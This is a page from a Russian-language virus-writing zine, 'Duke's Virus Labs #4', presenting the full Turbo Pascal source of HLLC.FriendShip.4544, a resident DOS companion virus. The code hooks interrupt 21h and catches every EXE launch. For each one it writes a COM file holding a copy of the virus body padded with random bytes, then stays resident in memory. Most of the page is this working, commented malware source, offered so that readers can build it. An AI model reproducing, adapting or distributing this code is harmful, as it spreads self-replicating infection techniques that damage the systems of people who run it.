- [Duke's Virus Labs #4] - [Page 10] - HLLC.FriendShip.4544 (c) by Tankist/Hell13 Имя вируса : HLLC.FriendShip.4544 Автор : Tankist/Hell13 Язык прогр. : Turbo Pascal 7.0 Дата создания : 29.01.99 Это резидентный вирус-спутник, создающий СОМ-спутники для всех запускаемых после него ЕХЕ-файлов. Не стоит запускать его из файлов с расширением ЕХЕ. ===== Cut here ===== {$M 5000, 0, 5000} uses dos; const virsize=4544; {длина вируса} com:string[3]='com'; {вот такой наш спутник} var d:dirstr; {переменные для расчленения имени} n:namestr; e:extstr; g:file; mas:array[1..virsize] of byte; {тело вируса} st,PN:string[80]; {имена разные} Int21h, P: pointer; {это для прерываний} A: pointer absolute 0:$84; B: pointer absolute 0:$184; R: Registers; ch:byte; {$F+} procedure My21h(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word); interrupt; begin if AX = $4B00 then {Если кто-то что-то запустил...} begin Move(Ptr(DS, DX)^, PN[1], 80); {получаем имя того, что запустили} PN[0] := #$FF; PN[0] := Char(Pos(#0, PN) - 1); move(com[1],PN[byte(PN[0])-2],3); {получаем имя спутника} assign(g,PN);{$I-}reset(g,1);{$I+} if ioresult<>0 then {нету спутника?.. будет!} begin randomize; rewrite(g,1); blockwrite(g,mas,virsize); {теперь есть} repeat {и даже с мусором} ch:=random(256); blockwrite(g,ch,1); until ch>250; end; close(g); end; R.Flags := Flags; R.AX := AX; {старый INT21h лучше} R.BX := BX; R.CX := CX; R.DX := DX; R.SI := SI; {новых двух} R.DI := DI; R.DS := DS; R.ES := ES; R.BP := BP; inline($FA); P := B; B := Int21h; inline($FB); Intr($61, R); inline($FA); B := P; inline($FB); Flags := R.Flags; AX := R.AX; BX := R.BX; CX := R.CX; DX := R.DX; SI := R.SI; DI := R.DI; DS := R.DS; ES := R.ES; BP := R.BP; end; {$F-} begin fsplit(paramstr(0),d,n,e); {вот мы и запустились} st:=d+n+'.exe'; assign(g,st);{$I-}reset(g);{$I+} if ioresult=0 then {хозяин дома?} begin {тогда пусть работает} close(g); pn:=''; for ch:=1 to ParamCount do pn:=pn+paramstr(ch)+' '; exec(st,pn); end; assign(g,paramstr(0)); reset(g,1); seek(g,0); blockread(g,mas,virsize); {читаем нас} close(g); SwapVectors; {вешаемся на 21-е прерывание} inline($FA); Int21h := A; A := @My21h; inline($FB); Keep(0); {остаемся в памяти} end. {Happy end!} ===== Cut here =====